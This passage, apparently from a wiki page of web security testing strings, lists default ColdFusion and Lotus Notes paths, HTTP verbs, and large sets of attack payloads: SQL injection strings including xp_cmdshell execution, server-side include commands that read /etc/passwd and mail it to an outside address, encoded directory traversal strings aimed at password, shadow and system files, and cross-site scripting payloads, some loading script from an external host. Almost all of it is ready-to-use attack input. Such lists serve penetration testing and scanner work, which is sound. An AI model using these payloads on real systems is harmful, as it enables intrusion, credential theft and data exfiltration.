.ser<br /> .sgn<br /> .shs<br /> .skc<br /> .slk<br /> .sonic<br /> .soundpack<br /> .spo<br /> .sql<br /> .stf<br /> .stl<br /> .stm<br /> .sy3<br /> .t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2009 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: xx/xx/xx - Total Statements: 4) ===<br /> &lt;pre&gt;&amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt; <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Statements - Most effective/most common statements ===<br /> <br /> Testing Statements <br /> &lt;pre&gt;';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> Common exploit code (covers a lot of XSS vulnerabilities) <br /> &lt;pre&gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt; <br /> === XSS Statements (Full List) - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;Statements<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> 